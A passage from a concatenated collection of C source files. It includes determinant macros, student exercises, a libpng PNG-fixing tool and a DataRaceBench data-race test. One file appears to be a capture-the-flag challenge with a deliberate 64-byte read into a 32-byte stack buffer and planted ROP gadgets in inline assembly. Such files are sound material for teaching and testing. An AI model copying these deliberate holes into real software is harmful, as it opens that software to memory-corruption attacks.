#define Det8_macro_ForArray(arr) Det8_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8], (arr)[9], (arr)[10], (arr)[11], (arr)[12], (arr)[13], (arr)[14], (arr)[15], (arr)[16], (arr)[17], (arr)[18], (arr)[19], (arr)[20], (arr)[21], (arr)[22], (arr)[23], (arr)[24], (arr)[25], (arr)[26], (arr)[27], (arr)[28], (arr)[29], (arr)[30], (arr)[31], (arr)[32], (arr)[33], (arr)[34], (arr)[35], (arr)[36], (arr)[37], (arr)[38], (arr)[39], (arr)[40], (arr)[41], (arr)[42], (arr)[43], (arr)[44], (arr)[45], (arr)[46], (arr)[47], (arr)[48], (arr)[49], (arr)[50], (arr)[51], (arr)[52], (arr)[53], (arr)[54], (arr)[55], (arr)[56], (arr)[57], (arr)[58], (arr)[59], (arr)[60], (arr)[61], (arr)[62], (arr)[63])
#define Det9_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62, a63, a64, a65, a66, a67, a68, a69, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a80, a81) ( + (a1) * Det8_macro(a11, a12, a13, a14, a15, a16, a17, a18, a20, a21, a22, a23, a24, a25, a26, a27, a29, a30, a31, a32, a33, a34, a35, a36, a38, a39, a40, a41, a42, a43, a44, a45, a47, a48, a49, a50, a51, a52, a53, a54, a56, a57, a58, a59, a60, a61, a62, a63, a65, a66, a67, a68, a69, a70, a71, a72, a74, a75, a76, a77, a78, a79, a80, a81) - (a2) * Det8_macro(a10, a12, a13, a14, a15, a16, a17, a18, a19, a21, a22, a23, a24, a25, a26, a27, a28, a30, a31, a32, a33, a34, a35, a36, a37, a39, a40, a41, a42, a43, a44, a45, a46, a48, a49, a50, a51, a52, a53, a54, a55, a57, a58, a59, a60, a61, a62, a63, a64, a66, a67, a68, a69, a70, a71, a72, a73, a75, a76, a77, a78, a79, a80, a81) + (a3) * Det8_macro(a10, a11, a13, a14, a15, a16, a17, a18, a19, a20, a22, a23, a24, a25, a26, a27, a28, a29, a31, a32, a33, a34, a35, a36, a37, a38, a40, a41, a42, a43, a44, a45, a46, a47, a49, a50, a51, a52, a53, a54, a55, a56, a58, a59, a60, a61, a62, a63, a64, a65, a67, a68, a69, a70, a71, a72, a73, a74, a76, a77, a78, a79, a80, a81) - (a4) * Det8_macro(a10, a11, a12, a14, a15, a16, a17, a18, a19, a20, a21, a23, a24, a25, a26, a27, a28, a29, a30, a32, a33, a34, a35, a36, a37, a38, a39, a41, a42, a43, a44, a45, a46, a47, a48, a50, a51, a52, a53, a54, a55, a56, a57, a59, a60, a61, a62, a63, a64, a65, a66, a68, a69, a70, a71, a72, a73, a74, a75, a77, a78, a79, a80, a81) + (a5) * Det8_macro(a10, a11, a12, a13, a15, a16, a17, a18, a19, a20, a21, a22, a24, a25, a26, a27, a28, a29, a30, a31, a33, a34, a35, a36, a37, a38, a39, a40, a42, a43, a44, a45, a46, a47, a48, a49, a51, a52, a53, a54, a55, a56, a57, a58, a60, a61, a62, a63, a64, a65, a66, a67, a69, a70, a71, a72, a73, a74, a75, a76, a78, a79, a80, a81) - (a6) * Det8_macro(a10, a11, a12, a13, a14, a16, a17, a18, a19, a20, a21, a22, a23, a25, a26, a27, a28, a29, a30, a31, a32, a34, a35, a36, a37, a38, a39, a40, a41, a43, a44, a45, a46, a47, a48, a49, a50, a52, a53, a54, a55, a56, a57, a58, a59, a61, a62, a63, a64, a65, a66, a67, a68, a70, a71, a72, a73, a74, a75, a76, a77, a79, a80, a81) + (a7) * Det8_macro(a10, a11, a12, a13, a14, a15, a17, a18, a19, a20, a21, a22, a23, a24, a26, a27, a28, a29, a30, a31, a32, a33, a35, a36, a37, a38, a39, a40, a41, a42, a44, a45, a46, a47, a48, a49, a50, a51, a53, a54, a55, a56, a57, a58, a59, a60, a62, a63, a64, a65, a66, a67, a68, a69, a71, a72, a73, a74, a75, a76, a77, a78, a80, a81) - (a8) * Det8_macro(a10, a11, a12, a13, a14, a15, a16, a18, a19, a20, a21, a22, a23, a24, a25, a27, a28, a29, a30, a31, a32, a33, a34, a36, a37, a38, a39, a40, a41, a42, a43, a45, a46, a47, a48, a49, a50, a51, a52, a54, a55, a56, a57, a58, a59, a60, a61, a63, a64, a65, a66, a67, a68, a69, a70, a72, a73, a74, a75, a76, a77, a78, a79, a81) + (a9) * Det8_macro(a10, a11, a12, a13, a14, a15, a16, a17, a19, a20, a21, a22, a23, a24, a25, a26, a28, a29, a30, a31, a32, a33, a34, a35, a37, a38, a39, a40, a41, a42, a43, a44, a46, a47, a48, a49, a50, a51, a52, a53, a55, a56, a57, a58, a59, a60, a61, a62, a64, a65, a66, a67, a68, a69, a70, a71, a73, a74, a75, a76, a77, a78, a79, a80))
#define Det9_macro_ForArray(arr) Det9_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8], (arr)[9], (arr)[10], (arr)[11], (arr)[12], (arr)[13], (arr)[14], (arr)[15], (arr)[16], (arr)[17], (arr)[18], (arr)[19], (arr)[20], (arr)[21], (arr)[22], (arr)[23], (arr)[24], (arr)[25], (arr)[26], (arr)[27], (arr)[28], (arr)[29], (arr)[30], (arr)[31], (arr)[32], (arr)[33], (arr)[34], (arr)[35], (arr)[36], (arr)[37], (arr)[38], (arr)[39], (arr)[40], (arr)[41], (arr)[42], (arr)[43], (arr)[44], (arr)[45], (arr)[46], (arr)[47], (arr)[48], (arr)[49], (arr)[50], (arr)[51], (arr)[52], (arr)[53], (arr)[54], (arr)[55], (arr)[56], (arr)[57], (arr)[58], (arr)[59], (arr)[60], (arr)[61], (arr)[62], (arr)[63], (arr)[64], (arr)[65], (arr)[66], (arr)[67], (arr)[68], (arr)[69], (arr)[70], (arr)[71], (arr)[72], (arr)[73], (arr)[74], (arr)[75], (arr)[76], (arr)[77], (arr)[78], (arr)[79], (arr)[80])
#define Det10_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62, a63, a64, a65, a66, a67, a68, a69, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a80, a81, a82, a83, a84, a85, a86, a87, a88, a89, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99, a100) ( + (a1) * Det9_macro(a12, a13, a14, a15, a16, a17, a18, a19, a20, a22, a23, a24, a25, a26, a27, a28, a29, a30, a32, a33, a34, a35, a36, a37, a38, a39, a40, a42, a43, a44, a45, a46, a47, a48, a49, a50, a52, a53, a54, a55, a56, a57, a58, a59, a60, a62, a63, a64, a65, a66, a67, a68, a69, a70, a72, a73, a74, a75, a76, a77, a78, a79, a80, a82, a83, a84, a85, a86, a87, a88, a89, a90, a92, a93, a94, a95, a96, a97, a98, a99, a100) - (a2) * Det9_macro(a11, a13, a14, a15, a16, a17, a18, a19, a20, a21, a23, a24, a25, a26, a27, a28, a29, a30, a31, a33, a34, a35, a36, a37, a38, a39, a40, a41, a43, a44, a45, a46, a47, a48, a49, a50, a51, a53, a54, a55, a56, a57, a58, a59, a60, a61, a63, a64, a65, a66, a67, a68, a69, a70, a71, a73, a74, a75, a76, a77, a78, a79, a80, a81, a83, a84, a85, a86, a87, a88, a89, a90, a91, a93, a94, a95, a96, a97, a98, a99, a100) + (a3) * Det9_macro(a11, a12, a14, a15, a16, a17, a18, a19, a20, a21, a22, a24, a25, a26, a27, a28, a29, a30, a31, a32, a34, a35, a36, a37, a38, a39, a40, a41, a42, a44, a45, a46, a47, a48, a49, a50, a51, a52, a54, a55, a56, a57, a58, a59, a60, a61, a62, a64, a65, a66, a67, a68, a69, a70, a71, a72, a74, a75, a76, a77, a78, a79, a80, a81, a82, a84, a85, a86, a87, a88, a89, a90, a91, a92, a94, a95, a96, a97, a98, a99, a100) - (a4) * Det9_macro(a11, a12, a13, a15, a16, a17, a18, a19, a20, a21, a22, a23, a25, a26, a27, a28, a29, a30, a31, a32, a33, a35, a36, a37, a38, a39, a40, a41, a42, a43, a45, a46, a47, a48, a49, a50, a51, a52, a53, a55, a56, a57, a58, a59, a60, a61, a62, a63, a65, a66, a67, a68, a69, a70, a71, a72, a73, a75, a76, a77, a78, a79, a80, a81, a82, a83, a85, a86, a87, a88, a89, a90, a91, a92, a93, a95, a96, a97, a98, a99, a100) + (a5) * Det9_macro(a11, a12, a13, a14, a16, a17, a18, a19, a20, a21, a22, a23, a24, a26, a27, a28, a29, a30, a31, a32, a33, a34, a36, a37, a38, a39, a40, a41, a42, a43, a44, a46, a47, a48, a49, a50, a51, a52, a53, a54, a56, a57, a58, a59, a60, a61, a62, a63, a64, a66, a67, a68, a69, a70, a71, a72, a73, a74, a76, a77, a78, a79, a80, a81, a82, a83, a84, a86, a87, a88, a89, a90, a91, a92, a93, a94, a96, a97, a98, a99, a100) - (a6) * Det9_macro(a11, a12, a13, a14, a15, a17, a18, a19, a20, a21, a22, a23, a24, a25, a27, a28, a29, a30, a31, a32, a33, a34, a35, a37, a38, a39, a40, a41, a42, a43, a44, a45, a47, a48, a49, a50, a51, a52, a53, a54, a55, a57, a58, a59, a60, a61, a62, a63, a64, a65, a67, a68, a69, a70, a71, a72, a73, a74, a75, a77, a78, a79, a80, a81, a82, a83, a84, a85, a87, a88, a89, a90, a91, a92, a93, a94, a95, a97, a98, a99, a100) + (a7) * Det9_macro(a11, a12, a13, a14, a15, a16, a18, a19, a20, a21, a22, a23, a24, a25, a26, a28, a29, a30, a31, a32, a33, a34, a35, a36, a38, a39, a40, a41, a42, a43, a44, a45, a46, a48, a49, a50, a51, a52, a53, a54, a55, a56, a58, a59, a60, a61, a62, a63, a64, a65, a66, a68, a69, a70, a71, a72, a73, a74, a75, a76, a78, a79, a80, a81, a82, a83, a84, a85, a86, a88, a89, a90, a91, a92, a93, a94, a95, a96, a98, a99, a100) - (a8) * Det9_macro(a11, a12, a13, a14, a15, a16, a17, a19, a20, a21, a22, a23, a24, a25, a26, a27, a29, a30, a31, a32, a33, a34, a35, a36, a37, a39, a40, a41, a42, a43, a44, a45, a46, a47, a49, a50, a51, a52, a53, a54, a55, a56, a57, a59, a60, a61, a62, a63, a64, a65, a66, a67, a69, a70, a71, a72, a73, a74, a75, a76, a77, a79, a80, a81, a82, a83, a84, a85, a86, a87, a89, a90, a91, a92, a93, a94, a95, a96, a97, a99, a100) + (a9) * Det9_macro(a11, a12, a13, a14, a15, a16, a17, a18, a20, a21, a22, a23, a24, a25, a26, a27, a28, a30, a31, a32, a33, a34, a35, a36, a37, a38, a40, a41, a42, a43, a44, a45, a46, a47, a48, a50, a51, a52, a53, a54, a55, a56, a57, a58, a60, a61, a62, a63, a64, a65, a66, a67, a68, a70, a71, a72, a73, a74, a75, a76, a77, a78, a80, a81, a82, a83, a84, a85, a86, a87, a88, a90, a91, a92, a93, a94, a95, a96, a97, a98, a100) - (a10) * Det9_macro(a11, a12, a13, a14, a15, a16, a17, a18, a19, a21, a22, a23, a24, a25, a26, a27, a28, a29, a31, a32, a33, a34, a35, a36, a37, a38, a39, a41, a42, a43, a44, a45, a46, a47, a48, a49, a51, a52, a53, a54, a55, a56, a57, a58, a59, a61, a62, a63, a64, a65, a66, a67, a68, a69, a71, a72, a73, a74, a75, a76, a77, a78, a79, a81, a82, a83, a84, a85, a86, a87, a88, a89, a91, a92, a93, a94, a95, a96, a97, a98, a99))
#define Det10_macro_ForArray(arr) Det10_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8], (arr)[9], (arr)[10], (arr)[11], (arr)[12], (arr)[13], (arr)[14], (arr)[15], (arr)[16], (arr)[17], (arr)[18], (arr)[19], (arr)[20], (arr)[21], (arr)[22], (arr)[23], (arr)[24], (arr)[25], (arr)[26], (arr)[27], (arr)[28], (arr)[29], (arr)[30], (arr)[31], (arr)[32], (arr)[33], (arr)[34], (arr)[35], (arr)[36], (arr)[37], (arr)[38], (arr)[39], (arr)[40], (arr)[41], (arr)[42], (arr)[43], (arr)[44], (arr)[45], (arr)[46], (arr)[47], (arr)[48], (arr)[49], (arr)[50], (arr)[51], (arr)[52], (arr)[53], (arr)[54], (arr)[55], (arr)[56], (arr)[57], (arr)[58], (arr)[59], (arr)[60], (arr)[61], (arr)[62], (arr)[63], (arr)[64], (arr)[65], (arr)[66], (arr)[67], (arr)[68], (arr)[69], (arr)[70], (arr)[71], (arr)[72], (arr)[73], (arr)[74], (arr)[75], (arr)[76], (arr)[77], (arr)[78], (arr)[79], (arr)[80], (arr)[81], (arr)[82], (arr)[83], (arr)[84], (arr)[85], (arr)[86], (arr)[87], (arr)[88], (arr)[89], (arr)[90], (arr)[91], (arr)[92], (arr)[93], (arr)[94], (arr)[95], (arr)[96], (arr)[97], (arr)[98], (arr)[99])
int main() {
int arr[36] = { 23, 21, 62, 17, 82, 12,
3, 23, 61, 7, 71, 2,
41, 1, 2, 3, 4, 5,
6, 17, 87, 4, 6, 1,
3, 3, 5, 74, 7, 4,
4, 7, 1, 44, 2, 3 };
printf("%d\n", Det6_macro_ForArray(arr));
int arr2[49] = { 1, 3, 5, 7, 8, 2, 14,
23, 2, 22, 7, 53, 14, 6,
41, 2, 6, 8, 4, 9, 3,
16, 13, 36, 42, 5, 1, 7,
2, 35, 12, 16, 17, 18, 2,
26, 14, 8, 1, 18, 13, 3,
6, 14, 7, 9, 6, 5, 9 };
printf("%d\n", Det7_macro_ForArray(arr2));
system("pause");
return 0;
}
|
the_stack_data/88954.c
|
/*
*
* Copyright 2015, Google Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/* This is just a compilation test, to see if we have a version of OpenSSL with
ALPN support installed. */
#include <stdlib.h>
#include <openssl/ssl.h>
int main() {
SSL_get0_alpn_selected(NULL, NULL, NULL);
return 0;
}
|
the_stack_data/86075396.c
|
#include<stdio.h>
#include<math.h>
#include<string.h>
float compute(char symbol, float op1, float op2)
{
switch (symbol)
{
case '+': return op1 + op2;
case '-': return op1 - op2;
case '*': return op1 * op2;
case '/': return op1 / op2;
case '$':
case '^': return pow(op1,op2);
default : return 0;
}
}
void main()
{
float s[20], res, op1, op2;
int top, i;
char postfix[20], symbol;
printf("\nEnter the postfix expression:\n");
scanf ("%s", postfix);
top=-1;
for (i=0; i<strlen(postfix) ;i++)
{
symbol = postfix[i];
if(isdigit(symbol))
s[++top]=symbol - '0';
else
{
op2 = s[top--];
op1 = s[top--];
res = compute(symbol, op1, op2);
s[++top] = res;
}
}
res = s[top--];
printf("\nThe result is : %f\n", res);
}
|
the_stack_data/248580669.c
|
#include<stdio.h>
void main(void)
{
int i,n,s=1;
printf("Please enter n:");
scanf("%d",&n);
i=n;
do
{
s*=i;
}
while(--i);
printf("%d! = %d\n",n,s);
}
|
the_stack_data/588745.c
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define ANSI_COLOR_GREEN "\x1b[32m"
#define ANSI_COLOR_RESET "\x1b[0m"
#define N 20
int main()
{
int status;
pid_t childpid1, childpid2;
char buffer[N];
char message1[N] = "hello";
char message2[N] = "goodbye";
int channel1[2], channel2[2];
if (pipe(channel1) == -1)
{
perror("Cant't pipe.\n");
return 1;
}
childpid1 = fork();
if (childpid1 == -1)
{
perror("Can’t fork.\n");
return 1;
}
else if (childpid1 == 0)
{
close(channel1[0]);
write(channel1[1], message1, sizeof(message1));
exit(0);
}
if (pipe(channel2) == -1)
{
perror("Cant't pipe.\n");
return 1;
}
childpid2 = fork();
if (childpid2 == -1)
{
perror("Can't fork.\n");
return 1;
}
else if (childpid2 == 0)
{
close(channel2[0]);
write(channel2[1], message2, sizeof(message2));
exit(0);
}
else
{
wait(&status);
if (WIFEXITED(status))
{
printf(ANSI_COLOR_GREEN "child process exit success\n" ANSI_COLOR_RESET);
close(channel1[1]);
read(channel1[0], buffer, sizeof(buffer));
printf("message = %s\n", buffer);
close(channel2[1]);
read(channel2[0], buffer, sizeof(buffer));
printf("message = %s\n", buffer);
}
}
return 0;
}
|
the_stack_data/131663.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct tableau {
int *tab;
int maxTaille;
int position;
} Tableau;
void ajouterElement(int a, Tableau *t) {
t->tab[t->position] = a;
t->position++;
}
Tableau *initTableau(int maxTaille) {
Tableau *t = (Tableau *)malloc(sizeof(Tableau));
t->position = 0;
t->maxTaille = maxTaille;
t->tab = (int *)malloc(sizeof(int) * maxTaille);
return t;
}
void affichageTableau(Tableau *t) {
printf("t->position = %d\n", t->position);
printf("[ ");
for (int i = 0; i < (t->position); i++) {
printf("%d ", t->tab[i]);
}
printf("]\n");
}
int main() {
Tableau *t;
t = initTableau(100);
ajouterElement(5, t);
ajouterElement(18, t);
ajouterElement(99999, t);
ajouterElement(-452, t);
ajouterElement(4587, t);
affichageTableau(t);
// liberer la memoire du tableau
free(t->tab);
free(t);
}
|
the_stack_data/116125.c
|
/* png-fix-itxt version 1.0.0
*
* Copyright 2015 Glenn Randers-Pehrson
* Last changed in libpng 1.6.18 [July 23, 2015]
*
* This code is released under the libpng license.
* For conditions of distribution and use, see the disclaimer
* and license in png.h
*
* Usage:
*
* png-fix-itxt.exe < bad.png > good.png
*
* Fixes a PNG file written with libpng-1.6.0 or 1.6.1 that has one or more
* uncompressed iTXt chunks. Assumes that the actual length is greater
* than or equal to the value in the length byte, and that the CRC is
* correct for the actual length. This program hunts for the CRC and
* adjusts the length byte accordingly. It is not an error to process a
* PNG file that has no iTXt chunks or one that has valid iTXt chunks;
* such files will simply be copied.
*
* Requires zlib (for crc32 and Z_NULL); build with
*
* gcc -O -o png-fix-itxt png-fix-itxt.c -lz
*
* If you need to handle iTXt chunks larger than 500000 kbytes you must
* rebuild png-fix-itxt with a larger values of MAX_LENGTH (or a smaller value
* if you know you will never encounter such huge iTXt chunks).
*/
#include <stdio.h>
#include <zlib.h>
#define MAX_LENGTH 500000
/* Read one character (inchar), also return octet (c), break if EOF */
#define GETBREAK inchar=getchar(); \
c=(inchar & 0xffU);\
if (inchar != c) break
int
main(void)
{
unsigned int i;
unsigned char buf[MAX_LENGTH];
unsigned long crc;
unsigned char c;
int inchar;
/* Skip 8-byte signature */
for (i=8; i; i--)
{
GETBREAK;
putchar(c);
}
if (inchar == c) /* !EOF */
for (;;)
{
/* Read the length */
unsigned long length; /* must be 32 bits! */
GETBREAK; buf[0] = c; length = c; length <<= 8;
GETBREAK; buf[1] = c; length += c; length <<= 8;
GETBREAK; buf[2] = c; length += c; length <<= 8;
GETBREAK; buf[3] = c; length += c;
/* Read the chunkname */
GETBREAK; buf[4] = c;
GETBREAK; buf[5] = c;
GETBREAK; buf[6] = c;
GETBREAK; buf[7] = c;
/* The iTXt chunk type expressed as integers is (105, 84, 88, 116) */
if (buf[4] == 105 && buf[5] == 84 && buf[6] == 88 && buf[7] == 116)
{
if (length >= MAX_LENGTH-12)
break; /* To do: handle this more gracefully */
/* Initialize the CRC */
crc = crc32(0, Z_NULL, 0);
/* Copy the data bytes */
for (i=8; i < length + 12; i++)
{
GETBREAK; buf[i] = c;
}
if (inchar != c) /* EOF */
break;
/* Calculate the CRC */
crc = crc32(crc, buf+4, (uInt)length+4);
for (;;)
{
/* Check the CRC */
if (((crc >> 24) & 0xffU) == buf[length+8] &&
((crc >> 16) & 0xffU) == buf[length+9] &&
((crc >> 8) & 0xffU) == buf[length+10] &&
((crc ) & 0xffU) == buf[length+11])
break;
length++;
if (length >= MAX_LENGTH-12)
break;
GETBREAK;
buf[length+11] = c;
/* Update the CRC */
crc = crc32(crc, buf+7+length, 1);
}
if (inchar != c) /* EOF */
break;
/* Update length bytes */
buf[0] = (unsigned char)((length >> 24) & 0xffU);
buf[1] = (unsigned char)((length >> 16) & 0xffU);
buf[2] = (unsigned char)((length >> 8) & 0xffU);
buf[3] = (unsigned char)((length ) & 0xffU);
/* Write the fixed iTXt chunk (length, name, data, crc) */
for (i=0; i<length+12; i++)
putchar(buf[i]);
}
else
{
if (inchar != c) /* EOF */
break;
/* Copy bytes that were already read (length and chunk name) */
for (i=0; i<8; i++)
putchar(buf[i]);
/* Copy data bytes and CRC */
for (i=8; i< length+12; i++)
{
GETBREAK;
putchar(c);
}
if (inchar != c) /* EOF */
{
break;
}
/* The IEND chunk type expressed as integers is (73, 69, 78, 68) */
if (buf[4] == 73 && buf[5] == 69 && buf[6] == 78 && buf[7] == 68)
break;
}
if (inchar != c) /* EOF */
break;
if (buf[4] == 73 && buf[5] == 69 && buf[6] == 78 && buf[7] == 68)
break;
}
return 0;
}
|
the_stack_data/150143570.c
|
#include<stdio.h>
int main(){
char x = 355;
int y ='z';
printf("%d\n",x);
printf("%c\n",y);
return 0;
}
|
the_stack_data/212643577.c
|
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *flag;
char key;
void gogo(void)
{
__asm__(
"mov [ r14 ], r15;"
"ret;"
"pop r14;"
"ret;"
"pop rdi;"
"mov rdi, [ rdi ];"
"ret;"
);
}
void first_part(void)
{
int fd = open(".firstpart", O_RDONLY);
char buff[10];
if (fd == -1)
exit(1);
if (read(fd, buff, 10) != 10)
exit(1);
close(fd);
for (int i = 0; i < 10; i += 1)
flag[i] = buff[i] ^ key;
}
void second_part(void)
{
int fd = open(".secondpart", O_RDONLY);
char buff[14];
if (fd == -1)
exit(1);
if (read(fd, buff, 14) != 14)
exit(1);
close(fd);
for (int i = 0; i < 14; i += 1)
flag[i + 10] = buff[i] ^ key;
}
void read_inp(void)
{
char buffer[32];
printf("What is your name ?\n");
read(0, buffer, 64);
printf("your name is %s\n", buffer);
}
int main(void)
{
setlinebuf(stdout);
flag = calloc(25, sizeof(char));
read_inp();
free(flag);
return 0;
}
|
the_stack_data/9897.c
|
/*Exercise 3 - Repetition
Write a C program to calculate the sum of the numbers from 1 to n.
Where n is a keyboard input.
e.g.
n -> 100
sum = 1+2+3+....+ 99+100 = 5050
n -> 1-
sum = 1+2+3+...+10 = 55 */
#include <stdio.h>
int main() {
//variable declaration
int n, count = 1, sum = 0;
printf("Enter a positive number to calculate the sum : ");//input a number
scanf("%d", &n);//read the number
printf("Sum of numbers from 1 to %d is : \n", n);
while(count <= n){//loop n times
sum = sum + count;//calculating the sum of numbers
printf("%d ", count);//displaying the numbers which are used to calculate the sum
count++;
if(count > n){
printf(" = %d\n", sum);//condition to check whather the count is greaterthan n to display the sum
}
else{
printf("+ ");// condition to check whather the count is lessthan n to displaying the addition symbol
}
}
return 0;
}//end of function main
|
the_stack_data/416978.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N 10000
int wcount(char* s) {
int k = 0, answer = 0;
while (*s) {
if (!isspace(*s)) {
k++;
} else {
if (k > 0) {
answer++;
}
k = 0;
}
s++;
}
return answer;
}
int main() {
char* s = malloc(N * sizeof(char));
fgets(s, N, stdin);
printf("%d\n", wcount(s));
free(s);
return 0;
}
|
the_stack_data/97818.c
|
#include <stdio.h>
int main()
{
int i=3, *j, *z;
j = &i;
printf("\nValue of i before ++i: %d", i);
++(*j);
printf("\nValue of i after increment ++(*j): %d", *j);
printf("\nValue of i after increment ++(*j): %d", i);
printf("\nValue of z: %u", z);
printf("\nValue of *z: %d", *z);
return 0;
}
|
the_stack_data/51990.c
|
#include <stdio.h>
#include <float.h>
int main()
{
printf("Storage size for float : %d \n", sizeof(float));
printf("Minimum float positive value: %E\n", FLT_MIN );
printf("Maximum float positive value: %E\n", FLT_MAX );
printf("Precision value: %d\n", FLT_DIG );
return 0;
}
|
the_stack_data/1248919.c
|
/*
Copyright (c) 2017, Lawrence Livermore National Security, LLC.
Produced at the Lawrence Livermore National Laboratory
Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund,
Markus Schordan, and Ian Karlin
(email: [email protected], [email protected], [email protected],
[email protected], [email protected])
LLNL-CODE-732144
All rights reserved.
This file is part of DataRaceBench. For details, see
https://github.com/LLNL/dataracebench. Please also see the LICENSE file
for our additional BSD notice.
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the disclaimer below.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the disclaimer (as noted below)
in the documentation and/or other materials provided with the
distribution.
* Neither the name of the LLNS/LLNL nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL
SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
The outmost loop is be parallelized.
But the inner level loop has out of bound access for b[i][j] when j equals to 0.
This will case memory access of a previous row's last element.
For example, an array of 4x4:
j=0 1 2 3
i=0 x x x x
1 x x x x
2 x x x x
3 x x x x
outer loop: i=2,
inner loop: j=0
array element accessed b[i][j-1] becomes b[2][-1], which in turn is b[1][3]
due to linearized row-major storage of the 2-D array.
This causes loop-carried data dependence between i=2 and i=1.
Data race pair: b[i][j]@80:7 vs. b[i][j-1]@80:15
*/
#include <stdlib.h>
int main(int argc, char* argv[])
{
int i,j;
int len=100;
if (argc>1)
len = atoi(argv[1]);
int n=len, m=len;
double b[n][m];
#pragma omp parallel for private(j) schedule(dynamic)
for (i=1;i<n;i++)
for (j=0;j<m;j++) // Note there will be out of bound access
b[i][j]=b[i][j-1];
return 0;
}
|
the_stack_data/23574450.c
|
/* $OpenBSD: wcsxfrm.c,v 1.2 2012/12/05 23:20:00 deraadt Exp $ */
/* $OpenBSD: wcsxfrm.c,v 1.2 2012/12/05 23:20:00 deraadt Exp $ */
/* $NetBSD: multibyte_sb.c,v 1.4 2003/08/07 16:43:04 agc Exp $ */
/*
* Copyright (c) 1991 The Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
